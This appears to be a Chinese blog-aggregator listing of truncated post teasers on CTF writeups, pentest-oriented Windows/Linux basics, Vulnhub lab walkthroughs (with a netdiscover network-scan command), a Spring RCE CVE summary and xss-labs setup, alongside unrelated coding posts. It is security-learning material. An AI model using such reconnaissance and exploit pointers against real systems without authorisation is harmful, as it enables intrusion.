  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • Vulnhub之Gigroot靶機詳細測驗程序

    Gigroot 識別目標主機IP地址 ─(kali?kali)-[~/Vulnhub/Gigroot] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: 192.168.56.0/24 | Screen View: ......

    uj5u.com 2023-05-01 07:32:46 more
  • Nginx 入門實戰(2)--簡單使用

    本文主要介紹 Nginx 的實際使用,文中所使用到的軟體版本:Centos 7.9.2009、Nginx 1.22.1。 1、環境準備 這里主要演示使用 Nginx 代理 Http 及 TCP 應用,環境資訊如下: 主機 用途 Http 埠 TCP 埠 10.49.196.30 部署 Http、 ......

    uj5u.com 2023-05-01 07:32:41 more
  • 基于ChatGPT用AI實作自然對話

    1.概述 ChatGPT是當前自然語言處理領域的重要進展之一,通過預訓練和微調的方式,ChatGPT可以生成高質量的文本,可應用于多種場景,如智能客服、聊天機器人、語音助手等。本文將詳細介紹ChatGPT的原理、實戰演練和流程圖,幫助讀者更好地理解ChatGPT技術的應用和優勢。 2.內容 在當今快 ......

    uj5u.com 2023-05-01 07:26:08 more
  • AtCoder Beginner Contest 300

    A - N-choice question (abc300 a) 題目大意 給定一個元素互不相同的陣列$c$和 $a,b$,找到 $i$使得 $c_i = a + b$ 解題思路 直接for回圈尋找即可。 神奇的代碼 ```cpp #include using namespace std; usin ......

    uj5u.com 2023-04-30 07:50:49 more
  • 中國剩余定理(CRT)學習筆記

    約定 $A\perp B$ 表示 $\gcd(A,B)=1$。 $A\mid B$ 表示 $B\equiv 0\pmod{A}(A\neq0)$。 引入 考慮以下這道題: 有物不知其數,三三數之剩二,五五數之剩三,七七數之剩二。 問物幾何?—— 《孫子算經》 也就是說,求出下列關于 $x$ 方程組的 ......

    uj5u.com 2023-04-30 07:50:44 more
  • Vulnhub之GreenOptics靶機詳細測驗程序

    GreenOptics 識別目標主機IP地址 ─(kali?kali)-[~/Vulnhub/GreenOptic] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: Finished! | Screen View ......

    uj5u.com 2023-04-30 07:50:40 more
  • 一文帶你了解區塊鏈中15種共識演算法

    所有主要的區塊鏈共識演算法解釋 區塊鏈技術席卷全球,提供了一種去中心化且安全的資訊存盤和傳輸方式。它還徹底改變了交易的執行方式,隨之而來的是廣泛的共識演算法。在這里,共識演算法在確保區塊鏈網路的完整性方面發揮著關鍵作用。在本文中,我們將探討所有主要型別的區塊鏈共識演算法、它們的含義、優點、缺點,以及為什么它 ......

    uj5u.com 2023-04-30 07:50:19 more
  • Spring RCE漏洞

    Spring RCE漏洞 一、漏洞概況與影響 CVE編號:CVE-2022-22965 受影響范圍: Spring Framework 5.3.X < 5.3.18 Spring Framework 5.2.X < 5.2.20 JDK >=9 使用Tomcat中間件且開啟了Tomcat日志記錄的應 ......

    uj5u.com 2023-04-30 07:50:04 more
  • xss-labs靶場

    在線XSS-labs靶場:https://xssaq.com/yx/ 靶場搭建 靶場是直接使用docker搭建的 docker pull vulfocus/xss-labs 啟動靶場 docker run -p 8005:80 vulfocus/xss-labs 瀏覽器訪問IP+8005 windo ......

    uj5u.com 2023-04-30 07:49:11 more
  • traefik網關的https上游配置

    老牌網關traefik。因為沒有中文網站和社區支持,自己研究很費勁。
    https上游如何配置,沒有一個可用的。我把經驗總結下來,給大家使用。 ......

    uj5u.com 2023-04-30 07:48:23 more